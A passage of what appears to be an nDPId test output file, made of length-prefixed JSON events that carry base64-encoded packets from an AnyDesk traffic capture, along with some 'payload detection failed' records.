CeEHG0Clf7qF1bDjl7ooyickFXkVMFx6myzJXdGSvprxaH4Sl4cpmNbfyN3tCTv90okoE1V8DCnL9QP3niqMkiwC4uiQktvw6MEd1wXhybFBW95OlMmBBgRSyaSdTqwoPKZ7MwPZq+40XXlW3XgDMa39H187FYjWPyYGyITY6TUJ5G66pRuQuzuM2GEaAnlwnU\/\/wAh70l6Hrde9TulofxAvBMrP+aPRtDmKx9qKx90blE3\/HjpHVROfFct8Ttmj+mdkiYCVz2\/JaE8VWC9Mte4KhX986WdWWKG8LO9l+9WSr2pqR3sbk8f111+1r4idcFA7Dx9GvIkeYJIjocFadOX3Bi1dhPMF3lSsjbKoX6M60frOss5c1rsn+6fwAIX+LYYFN"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1241,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2561} +03389{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1250,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":947232,"pkt_caplen":2275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2275,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfW1AAIAGAADAqAG7wKgBstOUG56PJI09WcQvAFAYIBSExAAAFwMDCKhZ4hNO+msV2\/HaaBlXVhruE7O8KbrBwzFXNd7J8cp8yioUoYO8TmfVgqPo7K5LgVi1YfoFxR1\/3\/mJ458WSWmLwH8WHsIB+LgqZ03GmJ8F9VR3sgjFMV47Ts7oXp4ltn1ywjayZB4keQ9y9RJap2SVaehc4DJf2dcjJTB7KO315NHouU8vxLo4ZgWhbzItayp\/dCDKtRP2tQ6ajGxXeqaw\/DL4Le+N9NIxuzXiYCkb9VykEHsH33EZ56z4dTRb6x5V\/K8pnF\/5UCXaMiDsXcBXUJ1Uyi6DbtW5LwpGwgdKAxPT03euw+GXfV8Mgk+OL3htA6rWT6dYNjhukQhsAW3VL+MPmVlSxJdKlraVVf4Z8roZKcfytLVxOqOCBP93XwCvD6UYSmqfxa+gBVKUkLBtCptiUd4wEy2AcFcgqVs6tqNxDtLTKFgLzEGTA+ZNBce0y+3xZFH+6dQsMnXmc0rkJ9jcQAXAbOsCVyjF5tR1GTveNmOyu4St8alNRxzxSBi\/jonjmgsV\/1d1yqnE26uSZi0\/MwDKWyt9pdxgUck\/qg1ByzviRKo\/OGeGUqfYa7HnFfu7Sx4Q5jxud1+yceDWphuUXQpBUw1kkeoD7aZ9hDwXimh5WKJYXzCP4t2oEES+pQs\/D0DEONNQC2zX8aoPuy7djynP6RHE0DvFmSUjNQqds\/ZMg6lDZ7ttIp4F\/e0+y3mMYFzp5pXOA7iqEb2l7bbgQCFJRWV73OUvDYvh0AhWGNkQ+xP0VBS3et\/W15T42PoZSe3wrFRZSFPi8PLZHS+4E5gj0QOKUN7+davCChkxFDumRBdbvRR4+yPQXTSKaRQqYcAHarB45k4iijnWQAA+0JWwTf8Iix1BCzjzWmwEmtpJIMuHC8QxlSnKVmEOAOjfIfZmnmJH3bkIC6IzbWi3otvkDwOQ97Aj2nESXUtUwgCIrSrz1DHBEAeO8E2aHvtUnxkomNknqkWzm14aBh27iQsApKpgVYV5g\/AURy2UGAFtgJC0fbrPG0QMj883qYydGKOrcb4SYIHqDW7SbnsPOZHJMFVX+jrmNrCNV5E1hkHpfZKVE9C45B2YgEKvKg\/D8sU0a2EgdQs6UqEDd+ggM4zqpUJMO8+\/qIRJ6\/CdacOW31fZVqynzn2+Ooatis8MpbGpX5w6PCnzlz22pLdQkphsupBntUjy+564fBkSVebakRhyuKkfQpQRY44g\/yZW2ML2ZGB9TPMCsib06yrTEO9cK4xsergaj+m65bAXumI2i4WVmK8VwmisGtBFDj4lub3tzgF8Ohn2+FePLXeb5HE1EeNN5xdUphQ8FXO5t7OAMMhC0pjyeGti8HgEG+\/PjQ8MEtJoo9re2ioWkjcZOKxjo3azaqKfyiZ8A4aEiIm7IT6P5ONJXM2Z\/vdzgDRCQAX+C1OmNND\/zKU2hChQQ5F6OMV2e3+ggZhXNAPDd7A0C3438qB9pZ0ER8t63ruxAsQYSC5b1+7gC4OIbGI8qqSyLI51TOBNnfFzFTEtqnLnJRWm1obd3kqhF4j1Z4plp8wyO5SIFQGgJ4OPgLp6BbeMtEvG0kADc0hmsgL7vVKiDXtYfKBVVje5SybERpqq7YsGvyPlh\/Il\/WyDwN54heT1lPkvB6TBMhvty4w3kQb7prHc9\/xZ89Tsp9N9H9E13RHP2HngpyB+oyNpG\/qIvyxK8jxGJzbJHTC9AGCq+8XcAgF\/9iFKvjMaSA71Vuu0Uyg96ZY8tlMZBlVcdrqWOVK7sptZz9eLOCeUsd2MP3cvrdbfpX3MtDczi675D489GBZQd9pTsREBDjyN77HcJmyI7fKtj+XGke9SEish3mwuRA9k\/Ge8DrDGrah9lgdiZJxPzJg1dnvRts6xd0PA4iDniVCgpufUveZzph4MFnHxdqr2Kw6YqV+Y6E9MdvDssuGmhIeC1agQE8vxiyd4nres6WKSa6hYOLDMDfqVaidC2jrSQPu4ZvPLDefqvTQUvn5pTdHpAmMwUHVlAMC6FIgvZ\/8DPaRCAyvDe1P9YNrbQ98VKD9VhP3m80TCbXc4rENWZLKMgyj0bhfDNs6cHuA7MkH9YI6G911SB9ZVM\/For3YZ5alUAEViYdNyxdNDy8KeHyUzu9zJZOXVcpVCUMyj\/TM2E0LjixgwNeRxjL1cnzW4IXrM8kej4WkX2v6tfIb8j0AB5FgxZ1N2X78t9jedjy2JQjKgb28Dh3i5N0GmDRQCXF0S3usRiPjxsq4ysVtWHgg2F+DEJZ04pHULESluf4XkpxwHgLSqs3F\/taarfETs6REzJiLl7M+ygAluZvO\/Sbh4O+bOvsF9Xz0NEyKRgBt7KoTMA\/afFyviNg0ZM2vYEykkD34JbTzAngyrdJTNPi82e5Pb070mWRMrhmattlCPQkcIPA445Scv7SNt9wUREm4UxxgILOyMgEnHwm1ltQlau9wZljOUGCWeBs+XjhC\/3wBzp1V37+GLfgaLOoL+aOSO8IIDY4zf588yt0jwKlw361nzSX96qwWXcxCkRlfm2R1hQu4UBhu6aZblhvxZMULiGxINS3+9AU\/4\/iI2uDf42ZQIwq+C+NdIlqNHQ9Bdd4nMhPAd4IkCbwCUFaFQUfs8wJExW7AEbheOJPXsa65qznwHic1vAbXlFo8RYLtjnXisxUUmR256SHVpnXvcv0T\/bcBkRoDVbdEss0LU2yUTAtaOjhf61\/3gu7ZVXybvxcKG0donhPpJJ5uKGtJqcr\/2beTi+Cwhbctq8669Vx0hL4sthdZYoJuAs6ROJy\/9oJt7\/ifYa+El6alNn99IDo0QF8OsFQ1xu7zBh1IxUi9td8tfhBPDg88FqU8Oil2V+dBRgBhtxL8hIxykT1x\/MR0Dao5NwBs\/ls\/HVlwNgpotTjlANNfcPGAWmjYt85tj5hJwb7M8\/o3+09Sau7twDrXGucj7Vq8YaptXpuqKhA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1250,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2241} +04424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1251,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":947682,"pkt_caplen":3047,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3047,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfW9AAIAGAADAqAG7wKgBstOUG56PJJXqWcQvAFAYIBSExAAAFwMDC6xZ4hNO+msV3C0wvUv2rvXWTm0yLZMSVDaCuc6DbQmmtF9q5dHGJmwItUJqtIXnKHk+FeKuEoHcubqMiktY\/JLCipVaU5sewjl+OJpODcnjm3J4gLzaj9dWxxo6dnhcyz466nXRON4ZU8yG5BHJvTYDXhoyDXMqvsNlZeZx5Wab\/5F8jl\/bNAa\/jsNR0RiTuj2tClEZyP+n2ayu6XmvYTua\/o2WSNkj8yH\/Ak5FSSGicYl3ABiEW4MlVnuyLY0YpzXl3qma4tnV3joipw6wGA1UH82JT1wnMoKHaXGs0Fn6o0j89M7eyjZFDdLde7\/XsS5phdnTn9I0Z8udUeqNRboQ5lyvPuWF54r+jLu5bV7o5+2aeFU5Hmvskn3JdTKXbCTk8NF1VqFzG9ppx4w\/34G0GTSjtMoAXfHrSrtsZ0ae5B0cj6at9MNrSPaAIhn340u9+c1\/UBdVjFNyVoMrAXN600O\/vSb3XhIY5LBXfG084dKRxBKyX6jKdpiZoGuPKtX2DvBPL1X2NiUMRvR4mlNkcGoRY3v1UdTBt0bEosN2isHmUKLwZRx1flYy\/FlbjVkILSWBeNANIpWBJ5uN2nXAyZTFH7BdOPeA2DeZb7HAXhWrM2c+KbkE7+8Qz2VUzVOwU6+cXhxQKeYxDFEnxy1bc6ugE1gfPSPEafxpJB6tsp70wb1K2eCTJqG\/77MnVESwcklGjF9QmUkRTQ5zqG9XNLzmwNdYOXCicazvC\/B8eXQyWoUrlBNzSyZHEUW8qTD+iMaqGc3QvwQvVDV72kY8AZWkAP7Rbjs7xt+NASXZrhxjoPWgfr72NR9UCBJ50nsFmMRv4MVeenGhkAJ2vODgaIYY35SJe7PCp5w+u\/ufolNJURjiMb8+CXoPbq6UvdMHWAQNltCNGwaEbpcouwd4KWdF5RsciZz9o1seE4Vh87VassObo98IwtmDxx+0d2dQ5nW7vaRghHYjtLw0UoNmQyGsErvQw\/iJq+QwY2TjrULzmJLQfSQK8apj3A24mbWie2qsYc8y2QbFZKUBR9PupGcSPSX\/kE699K1DqbObWjfHK0icK6YconjtYEJNQU6SvT7onIYINzdZD2QxHaUGXQVdZ94VDYmmOq+lwAG80ngMutDnNblZ4YAhwWiz\/hXfkBPDZEPrQl1waItcJXqW+jyf7bfqinBcGZ59CTH6IEjeSU2Z\/4t\/dKTyjnEVq2HNTnJQs2hMALYuMPkAGAkjrY9YD\/N5JzIM0jMbbySWbgqXVdK5I6z6q0pirf0OA5DHU6mshVpIO6W3hP\/G52lEQf4LzWjEJQNJTlOWDgCVVAFctjZE4HWbjySk9YdIzSKphUm2rXRykM+3lZ3xCG6\/yUbCRSo827GUWMGS7P8UDxILtxvgeMtExrP4ZIqv\/mE5GS8FERZXLGPnSG+P1LrpgrpWRxKYUbsDg+DBJgO2J8uJisI+++noyIadfvsYzxHK8YD5wv9riXBTSYHsuOe8nSLKxpl95RbzFIXx7kYaXcfvaGT9pbRMWC7+r2IsJbikTrycavArREtoO3qz5R9zs\/GxHdFdCzy8c3q217GqQn+luBipt9BczgI\/he5FS2HKYnlCwZ4bkKpF55RzTBB\/IhAO8jCxzwNq2nDdhS5PirDziJK12P\/UfCuCWSiHk2m2NjD+W0JgFwwuIzm3ODG2FmtKOM4+sddS6pp5vuQU09aCPhBkHtT8Be5Pm\/UdWbNcdnkXBTImVW8bjSaDmOzwv0UeIzFRfXyb6S9YZ7ZFeYmCR0171IO0uCRFC3RB00LM1QXAnXN\/a\/Yx\/z52gNvPkyqfWCjs4wX3gHILLQVii5gucqEFC2Fi7fYHWxveCTxB5tJpFiHa\/Azc8bYCpIMJVVCtNlv9IfRUWnqqCnTExSFrnt12URqC8FQHYnvnu3pVpmKn0TXhLT3qsDD4skgJaaEfGUca3I5gi3cPze87fbvpu8C2oO8F\/bXuOmgnp3sBRq5YYhrxuQE0jA8Q6ygEDSRnHjO4FJR1wHn51HFcfDL+5KU4Rv0QmnTRqZLRxOx5zAwEOkWeUq6EW4OWnFa6J9uohCC2M6NMIIdgzINI7v2U63o5oAp3dNGCZeGUK0spWKhcHqw2KnZLrP6SyvV91lYRFlhSyyUaIr9srJwk1oEgM9TMBNd9CTOCMNCZPeDBDCPWOBCxys923tmlOLXBptjNGtHBPohH3qni79o\/18PV1beJvjsK2cfe4lxvxMBu1t4rDQb0wHg8M+DnV3ziUN9ffXjfAexeinAZzlJPMqfqteL3VKzY+yRq0So9HOAAt2EkHbwYbI5SiDUOSDB4XGVOw311KaxjD+akUcWGeqjewflGrXWZHDQMhEuBxMXWVu+mzGxdx6UBFiLPCgD0LAYKCw2ckVSP4lkJTy8RMaiElQW3BOCyrx5l5yNFRy7CG3WB4gbuTcxObQPUaxhOOBVe8mSfOGc9c5RyNKDzi+P\/I9FelNb+2bEG2rLMJeA9jaEYJGkKIPmFS3VGmEPJHwTRiQkmD4ZT4m1nHXKGVrImLX8fWDzWjMAbDPQtbykMqIYHqwd51ckExJsV0NCN34vyP7axUPqFLWp\/b0mfw2hfHQRtRImkGt6P0gnFPjz2XGuwN2MGpnJPI2\/zjBPhabUDjAZPjKkuaXHe7RAWJMamEEHiZQL\/m6qYEnfWCiW91\/1O145bzfI\/bRabqlTefiRX9zZPMzIWW20SG7ioLsAJeYKgeQt3+dzubjwuYtanAB9kh8k9dW1ePYljCdPnCVlDTeS6IGeBiaySbhFErfzdMi\/kUZZ5Vpk9TbagXj7XCrnSJWbrEncVv71syV8tUbfL6WgUtWNbi0zQT6sxgUBgAoZjFrGpRaErZ+M0vbcXfGpe8XWCzErELGE4X67Sehl8i0kyQgN9elY2BGIVmBj3BAtcjj\/lI6p\/hrUvG8PrBEntDCurBbzdEXOCDve7gZu6OUgMS3HxX0C+K3FKcK3aAzQVHIvhqsmJO\/MADlR5Ums\/ak0rGeN7x8bVfvO8m9InI2ztpS2Iqs4l5igoDDEhSgpM2w7vLFwAHYirxS20ouLpyZ1pNFDdpSXEPPhCFBPKnlajnocfUacFNRPyY1o7iQiHbtPTnyIa940m5K6xX4SBeUpZ3hthNZh1X0M7TikgeqDaxhKW+KGWeYbJ4QI7PLWKctizKGI9Yx+1ACcN5xF1rVdwXxCYWbDInVvfw3b2Rx1U7kxxIufp3wj5nrew5ZI0Xk6IS5oPqHkEE9mCX3lEKiVM7krKayzAv+JazKkeSgOD64HGd05j7OsKbL1wYCSyVfA6NfRsizlet\/YtDQxeGywusNXQ44O+Sh5K1mKj7jf7SIPBsRl182TYNxYbvsjQK2cD7CEYmtgCp5EvUF8oBs3m7E\/MPhmW0s9XKhYc\/pf110k\/K+8cYPPRGTE2y9t1cd5TSGE+cbRqgAb1G8VSY9zgWMKNmQCV4FKtidwWvPr381lCdejzJnuYFMoRoeao32wgVw0qr9cTA5iyKJLEZOou8hrBB8WXHKzl+CdnUmtl23osMVrzBGSwRuXWZ4Iy7NXnoo53o7EAa2SIEu9zsQ\/wVTD77mWWtBguYt6x1zpfKztU4htm3tHXZRRo4thdn98psSpYjQnQOHij+FQuuXM20ItKreZCDEw42YQWFml+0cHUYErY2208fuAcudlWtk927Jx0+Ri3wqzJatYXCsW3A1TfRE7QK51FiII9M8TEk7iZ15uWa1wzMno9oL78y57lwgMh3cmCAjzvkw2wAoqaGZtPHSi5\/msRpfpxpD4G9hkx6Ilr5nS+oyIoOVSx5ZbYrxOyjsF4ixux\/C3erXQrTeFwMrL05BRyOCcpYae6DSV3dhJqFP4zF8\/IbLXpFSg8RBXHLyErfDEIxGsjpzL\/FVyPJTGCw5\/6+FX3blSIZJo6Py5Dkcoho2ouqAVHQKK3Xf8uMultH7m4Rjz9Np7M+4PkNak="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1251,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3013} +07822{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1255,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":949257,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfYxAAIAGAADAqAG7wKgBstOUG56PJKGbWcQvAFAYIBSExAAAFwMDFXlZ4hNO+msV3Tu5Uy+PDWzAqXp4NRO\/Iw9i8RQr8DJtL7YON3YJkLNVjMjko6IYOyBVI+N5ONjvu4s4ibGjnrHfdZkjvNE2p0hlLTGTNxV487I73O2jzTPfNkt9QrHaIVnKuHwQQy6iAfvjA\/S6BaV7XvUMM1i4O+dpZ+v8les22b+E+0x37VMIYatTp6W\/ayFncKyFypwCI1Uv4j61fITUgjjOD2JIaRePBqGCmFcOAXqKM0CXLQcwG6ilLB+4BpTzf8VICXbam4D45A+1Oi0pvyguiiobvKIHFTOvtra94JX3pMGLReD6afc8xJMm1mfrVSZGnuv\/LIMxL5K4cr2QM+JK4qN6VexyoJDPGP3d6j0DulzRerAe8nK+XfsVcmhfsX3NNVfXeZl6WXeITzOkrohBQIi6fSxGGx1p0KtqYDwA\/ugeuRDzpMZr3AvTzaEbFicn7Uvgl9cyBV0GkgfA1bDaY6ibZ9U1nmwUe+hvxERDWUPkjYkj512E2KgKXWqdc3fDy8H1ypu0BYW\/3t2CyxmJHMvGFnSwJppbA5H5NwIUkBfNjWazKvhY06gOdBD+u4bSynxJzJVzuYC65coGm8ORUMt1FJMcRu0QVaGd7KgvI8AAW1xOLIq+8Bq1FepPR5\/0PKRPr1NsG3xBZXG\/56TcpvCPjOmnr6mSchvzzeTIT6oAZNcxf0HhHsBQK5cBjjSDL0vg++SQHUlTDghoSoPQS5qp1u6qdEut4l2soavV+HfBRBIaFETrFdKqPFqtAg5PbsN+TfDRI6BjioPDBjAqUVrQhH1taF6AnPn4GB5RSV9Rmv46wLY8HjwRACtO++OIgKH\/BAFUNn3K6K4H0+Xbx\/cqxOLmWWtqKsPZxFhWsxrdxhe8tI8fWXOGsKnOSTN\/uU1BdObG0uDb8ZEoi8iHYQ5885QyacMhg9vKBjZ5tFkAk5a\/1HuEALRAADb3wDooP3WstjvEBsoMucj8Xu0jDGcSs56FQsEUm79fm1xOMTq4h7bBVOVgIfC3hP4ErMEwNgcNM5uQ7\/7ZdBwvP1wJWGGqBV3lSW62dqQh\/OEkho1WrF4yHVCJgVzJSK9VlvOXuN7PPgR4UnOSRYYRwfKPgeAbS1RUEu6dJQwBkwC17SYFFQp\/SemLWye\/QxGjUCf+cTAD4Yu3dG6ldsipT1RsrxNLPL3a\/o\/Ji2TTaI8l3NVAUGnCLUmOYaM25GckR7SZowxaVA65GUPU4AtwTN37BopEpI\/RbGDqDVO9jZm\/+Lq84uwfSzz\/wkkVOj8zjdf2DhBJMZvFJj4KRIHoxE5VGvV8LIaXZFSDQ0yGFmvgAFeVmRaG0jQ2Ka24VChwp+mY5W9d3p8nPDhckwhEU2jrgh8YwiQoY6XJwCTQHY7CVyJGVKTtFhbSTMdZfrmZqc\/slOCZUvjIV124kNF+I+jdP4xe1jrmSPqX\/Xtd+fMhtUwr6XaRBvMfbV9hHQ00llHYG\/SJWJhPVnd8ysbPc126T7qg+c6mqZXezmvfWZPNVdDqNlnPjnaQJYG6SY+OpEELy9g5IISNNBi\/Wpn\/S7UjNijCqMn3qomMXhGZMD3MAELPoZ8bZrjDIOMfRJlkg3O1z9Y\/hCkZMaAbkz0CuAwKfDFWy6ItYsooFW\/bgIjZUTH6Lx7mnbyws5ccUea5HCkKDMW7FSCvsRv8uliGZXgsM+GPLX0m5FD76HGwbgciBZCPvMKi3IIABJF4VoRK3IypJf0dWnyEXwwWxYRjfpgYe4aX6bMkOJuffac0ZSipxBMRIwRal00i9SneUK40d9G0uclhMfjJtJN6bfZWLCtdS0DaTOWwGQISROZCwLsE2Y7U75DJO6na7E7DykqGj4ig514LzfBvtuyoE4tqoQRbOoAyCRAE4mlKLBBE7xJ1CWRhQ1g+VTUzI4QyEPWkxw5OE+QcjFPlr02sOi282w4COdQK35T97z8Z3dK\/b1Oo1ZMOy4s8mLFnfUDX508Aw3ZNtVfOT0+XO0F6imTr5VA+x9hsWHC6a3WCaT3cqaNr5cVKW2qakQKQCcQLQ8Ht5y6ARf7m0mlQE593f+SgngVH2dlXLaoju\/lBeCI2fVxOdofRGmKkOpxeVnAgrgz6oRx\/3i00X7F5AR0RD391bzEpr6XKzm9i3sndmrXi8wt6fsx0Sm+dZb\/5rofXVty\/VceNKZeSG74bZULMGokuUbxwUGIwku0nwCJljhG9yED2+u93zxC2rqSVsmuYXaevIzLEPqAA+arB+7DHAO+zpfkn5O2pTp0xN4rtDISSFhbgVUYIBkg5zgIQeZpYehmqegOaLAlj7zSOi2LZmss8Xa9luU61jmKxdzzfKPahkUXK1bQUIxhp4gK2Ag+29Fjic5gduJH2oI\/Lqy1vGPh7SDeqyf4Xj8IpMjRa6k3+Qqywj2guC7wHVmuGVk9GiKoN1Epb\/KyqndKxTN2ChcrPcYMcMJ7KBph1FOizxtDv8QrceUYWWh1+zv0rOAHd7a4W\/uED5tCReKYDbYMhm5\/1WtzhBvfs0G8LJykYPpPMYk+hdUgRaCizvmZsd3EMafxN+s8wltR\/1\/ClcGGvD8yIZGJS+iewqixCPv4erIXscjtiaMBfKU0fda6WtPo3C8wdEgwS41hEKSj5wgWHQes1V9A7JGqIvB\/D1In4cWwb5jZ88F6aH2ysgM6YEUwc\/aj705HNeqOhpK75vupQ+vodG5HH5v2ZipFYUMZZBqiMn2+p07Ro2cVGl602V5QHOGLgpd7BrSTM6DOZZm43x2rS2nZi7hojvOxb38c6UU1UkSYw5Df8njw\/9z82xit4ugFzQuTBME\/vqxyvWvXQCLYsSjxiVhlM\/pBZGOKNwYHYapQAoiVrBA8uRqFwCJ6E6qO+Tqhh7u2WSEa\/DQJEalQpJsag0vD8I4AoqN+pfFy1QeCiK2xaORZz9tPAtrpC7MoycZMwc4QDmoCgsjAgQjRsLyXcRNKqD3yE+LaQ5t1k4KtHUQLvmpExhcH+XEC5w30Z2R1jDLvJomeiHaujXkqk88rjYLPvPLyR3OKK+TbXWEL8rD\/BL+Q6fMkvvZFO8\/lHEyNEA0PcjfsCSo1580JdNJbHXV0EfETPzjtuHXi2R4\/AV+9E86oLv+hI3bmmso1D4q9e1\/oLPA\/Jgk3gKnDlwCcm7t7Fzc4ddToPcQuIlqKsiMYBq1Agg2XGgauNNazLEpYMvOELYAcMklYdpAm0mmzehh1qffN9QDAU4DBxWh33ejg4rQw+nMkePOGD4JyNkkBQkLps0F3yZlNAvjribYhyZMyRh9tPUa1TH8s4DGZm77\/7TlgSOD885Z65eS9scljVsfL\/BBzNrDdBmZ4Dtx6lJblJc+hlJrWqrD5OiQkTdfXXwxwvEP7+MLwtPXloC2gxZ40EiEP4PADb1JZimAUeL3+LcnlU00pdjTw1yIkSkMlVgb4DalUaayZ1K4J1EAN1e3wzKrA4chGbLQWikCap1ABJJ+UVuhorFwHpH4Dg7A9DaCgtExTGtQMFjvblkwBAvZ32Bsh8QWOjHxgIQ6lSCi1DccnY7EJM\/V9ubRIh5zwGO8Cm9FFu3J\/rPKUivQtChP7YzjZu6QHtbEIf7yk0VeGgW5Hdjgo3G2fIKggnMq9wAwqPXGVJjr75wMkgxX5CGkxmaYZpekhP5PXzgid9UAqvh9k3dTna29+KbWSiw3OGaEpmRMV1SVa5qdkrMOw2OzlRqSXnsTroNx3eXID26wU3umygaVc6IqYCvWa+I82GKH6RW0NKGve1dQY46eAswAQRrnW\/E3i8g+fyyLYrQurW0OrE9AxZxpK7HG7crEqoh1LlKPLRxFnoHAX967XEwgE0htn6QQDPEqlbi3I+7eW34Hkz2gHarZ+\/m1hmr7p3Hk6zj6iHRO7e8Y46mF8QK\/WzpC0j68ol0zdKqimyMAjYAgo5nl6LmQjXf4AVM5mCCkR8gE+3fc6uBBrnp+vJ8sx2GCZwpvSJdjE7fuuA\/s43JEbZt25j1oCjfU4Q4Kn4fD1biIHLC4YAhjKcTEQk045WVJVqZgHPUCgzq4zRgPw3wPsuR31BGLO6ND2fNv2nOyuI6SBN14d66U4CPFby9O6BRu0ZuAOZOS4IA7CCn8ciBPVS7C0PV7Lc3lWZcCc1VQMNesBd81cm1bSRgn84B70uFtBj75P8Q14anT4bOhneWxuosPI8XS5UOsUUDv15BKww48RehOKB9G3bzt7pigQi3DF\/0Pypz6ZN7hshU6YA5JcNuHnuG0ILr73LBqBgCmFQ9\/g9U4O6qJKEITxWCbrEEf\/aII\/vi1Pion0\/N1yNZv5oYxtmDM7sgcy+M2epjuKU\/06OGY13qonaJ9RkuAU5w+\/XE8y9icZ+fPe5UJ4FvuAmtsCgamrGRHa\/2M55tR01DybwMf38+f24b98Tdndxu2y9Z+euzKxhx2X9gl\/osZdVVD0RX8H0dupFq0Vg0xuIwGJqLkocWjUdoBzwYLylGhiHLHz4To7tIuhJd+9Y2jodKLWAuaJWI7iCrHDtGXGBxbL7Tq8rYCoQjTz\/+LuTmffc0HLxb9oun5CKJToYb4FmWV0cMVFG2r57kvHK4aqDWwcDAIW+djUwj6MsO6oy8C3eezn3nNZ93fxGnqKmmmk3JqLsORjZMu8IfYArgjGa0dYPSaB5A0aOumIz3DItKTkbI9JoHJ2ya771ZPIvmtSzZoAq7cT+fNd\/cIDGV6vqN0sSqP\/gDwgf6MGpl+EoVUEreMHqr304VjSNb\/Co5gH8cZmx86H9i+Qarujl3x9JFWprRd+mhO+uExxWq\/O3s3MP8V6Zagcol8m+ITeEmsSYhPGHwxKjskBb2E5ydbH6JsvpSdDdZBsPVE8+N65UT4DlpAxkoWd2XEqLG5S7b0Kcq0NZxqbqDu5yooBwb6ZFYaljSf0qLAgm34WVJSe5TgpMwGlgmRUZRt+B5Lfkafcxx0SSodR\/nXPBieyLeHcXx7YOSnKjnVAIrvLr22od6j0dHfqMnyfgtG\/8MfR\/WSsSeuU5rKPia0ftLeIV1vRixYLN9WYOcWr7I01yT2d\/TD1PGFIQMKqPZp\/1RSQ38ERqA5HgiKfoTCMA7T7U9SZsWepPPF1rN7eCxmG33ACeQLpjbPDDN5yXhhhYhsH8qiBJ\/Eo\/o8Y5myuamJC0kyYRxeG52JMDbq0UBOB9kBlXswkj66XdHd9A5dMIwAJPIzrdOCPSo1STHMFbLbfwMPDb0U7s+PfDyw\/E\/nnzj0Oi8MLQ87DG7tYFe02BEXVWQ0zbpUvuxvmRwW8m5HpGcNZb0+tw4V9cyGuHICG55XujXBWYuqn3ff9N3qPm8SHklHA6LuW4NEABU+qaXLH2DOwnAGeeoGt0dnx8jSsp4QtfcTiz9YtXYsA0pvW82XiCZoe+D3hpahBR7l+EPY8P0D9ZUdQXj\/rXXk3H9oTF0pIbhSnTzkww3AnKIiXRtzw+RbmDH3f0Y+22JtdA5S+f36Ir0zC1lE54c+tb4Tt0yDBvPnpGE0xy5n5d5cGR544o4Da6NN7y6m8eV+SpNqE9glWT9dPZB6\/51+YTbY4nesSRZKtynoqZDNifdeYj95Ki9Yt54yGAuJsU5YgzZUNvTLzCociz7ffXFSpH7NTm12sp5nChn+zdb379QzPs1TP76ekPkBQVxOIHAIsQFz2cQS+y+Y68uuD6dJ+0KAZ4gEowYQyiF5hfSYfP9u+gplXPWyIbyxF04s0mMuRJ0iZwqEWoqIzMNYQafmIXIRMvPVOt7SnCc3Q6uULHf\/XfGpYz50WvPuw28bQDbIeyAa4BsCYVwALJ4\/jOb2j9eqQDKGe9IzKjK\/7zlu72CSqlPsTXqLJ9DUR6+bwq50wWkx2u9A13ZqL7FpkbcryGSNT8qBs5Pl3JTZTKja8qjwpKwhmkjhE++P+htU75DL5OehcCGfx6LTdokSr21xvj+FCFLcdsjmGSLh3W9YHffqHGdX1H6brS2jfXUo4KKFwEEXMcdCusWVg2GvhzfzspC5p6Tc56fq292VXlfiJWuGDiK3jfjBZryrYBWxYGZfgEOKppcLGt00NbVdXR41kniFuajZHz5M68OIRbySwwzel7RQxPLdYXEHMMVar4Ic73Ri7Nr+1AbBIbbgeXnTX3wB8HsAKwOQeIzwe1gImhkg3Bg3vc53eqXXcg1sPsdn5bR8M84tCHURnZXM2zQO2izdIxLorzS3FxMGfzKz2\/\/s7c0C3z51cB5fYogsKExfy+98gqzi8hvlkxbP4ySFdO4BgkdoA2VlZbFIG2+nosM0HxLZKIGU+uUbtR9rzrWOpFvKB9ZVjr1zMpg0ol9kHqAe2iEQUW1I9TTEdqG+caCbtV9qZSi5rghyCLJBM06RITLx8KpTftQqoNu+nRE1Jfc6tVPINyGyORP+RbrI2Ib1gWBX\/r7acrmqN\/N54CvIt\/Qnlgo4jCqlMEmXcesoHu\/jhX9UKKQ+5j0+9esezlvnKelL7QiTuMI5P\/XU8uIGNFMVDa2x6770bkXeqyoBB37IMIA6BZrHmyL4IOWnf1LscCYw+Mg6oD7fzrEvrw2QOjS77KrO32sDsm6VqVkFxmXV0zAt\/E9\/m8rVbKx6F7T4f+fKy9oxHuIM82Ljg4xVeHGA4a0eiIpwlTmlnIPTlNx+S43dk7XLvs43YB\/BCQfFCJtqBQC1W1KDZslqe83FGldNtkTi7rz1XsuYpGPMzsoBvqpHacLebnk0\/JVN43NmPx\/Rlu3hzSUytHsCc+8YyMIoN\/GQALvQ8VhQOUwVaC6e0xM82V0Y9IlKA09wViKx\/J315JBKupXOaCq1T9++hgULc7\/gGojz5FiKu67yzAqDM6c6Qyg8XM2SSXSnIOqGK6TVFl8R6Subtk+RMCfYqA73XPv\/STw9c0qqKoKtSbChwhLgytC+bzz7NpENfx\/h+5ayqoa597w9BAsvPrIXtjDQ5aKbpfQfN+pUUoj8fSba3pGZmLLquHTI69wC+10SRIFrrHyttx71mP0OmAsY5rYpoNjqKxrFWW6Q2RSzrQPIlh7hSklmGl\/z4AkwC3F4YW\/SdWB+yJEt5\/X7W3zRLWyLfj8UN6oJLQRADW71Q0adskkdQerVY\/S21DKruavvhWyyFmuO6M08OFcj3XzKS51HJfCDgc4aVsf8